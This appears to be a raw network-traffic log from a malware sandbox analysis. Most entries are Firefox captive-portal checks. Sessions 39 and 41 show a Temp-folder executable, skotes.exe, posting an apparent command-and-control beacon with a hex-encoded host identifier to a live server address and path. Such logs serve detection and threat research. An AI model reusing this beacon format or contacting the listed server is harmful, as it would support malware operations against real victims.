Nov 20, 2024 04:09:15.615896940 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 04:09:15.713804960 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 74661 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 04:09:16.173916101 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 04:09:16.272798061 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 74662 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 04:09:20.820533991 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 04:09:20.918533087 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 74666 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 04:09:30.981529951 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 04:09:31.691227913 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 04:09:31.789002895 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 74677 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 04:09:35.011972904 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 04:09:35.110924959 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 74681 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 04:09:42.741699934 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 04:09:42.840902090 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 74688 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 04:09:43.281893015 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 04:09:43.380450010 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 74689 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 04:09:44.302719116 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 04:09:44.400826931 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 74690 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 04:09:52.549649000 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 04:09:52.648139954 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 74698 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 04:10:02.682167053 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 04:10:12.358268976 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 04:10:12.456913948 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 74718 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 04:10:22.485450029 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 04:10:32.565052986 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 04:10:33.031996965 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 04:10:33.130207062 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 74739 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 04:10:43.277124882 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 04:10:53.289259911 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 04:11:03.383639097 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 04:11:13.482863903 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 04:11:23.575124979 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 04:11:33.593374014 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 04:11:53.586097956 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 04:11:53.684462070 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 74819 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 04:12:13.333347082 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 04:12:13.431168079 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 74839 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	62738	34.107.221.82	80	2104	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:15.259705067 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	62739	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:15.662405968 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:09:16.351213932 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:09:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	62741	34.107.221.82	80	2104	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:15.729562998 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 04:09:16.174117088 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 67571 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 04:09:16.278801918 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 04:09:16.373343945 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 67571 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 04:09:20.922880888 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 04:09:21.017401934 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 67575 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 04:09:31.103804111 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 04:09:31.820710897 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 04:09:31.915107965 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 67586 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 04:09:35.119564056 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 04:09:35.214623928 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 67590 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 04:09:42.852976084 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 04:09:42.947905064 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 67597 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 04:09:43.384617090 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 04:09:43.481399059 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 67598 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 04:09:44.410399914 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 04:09:44.505870104 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 67599 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 04:09:52.655069113 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 04:09:52.749880075 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 67607 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 04:10:02.803208113 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 04:10:12.460685968 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 04:10:12.555555105 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 67627 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 04:10:22.568653107 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 04:10:32.615051031 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 04:10:33.133902073 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 04:10:33.228487968 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 67648 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 04:10:43.347920895 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 04:10:53.414454937 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 04:11:03.507519007 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 04:11:13.597692966 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 04:11:23.615381956 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 04:11:33.714082956 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 04:11:53.690629959 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 04:11:53.785218954 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 67728 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 04:12:13.434585094 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 04:12:13.529325008 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 67748 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	62743	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:09:17.906092882 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
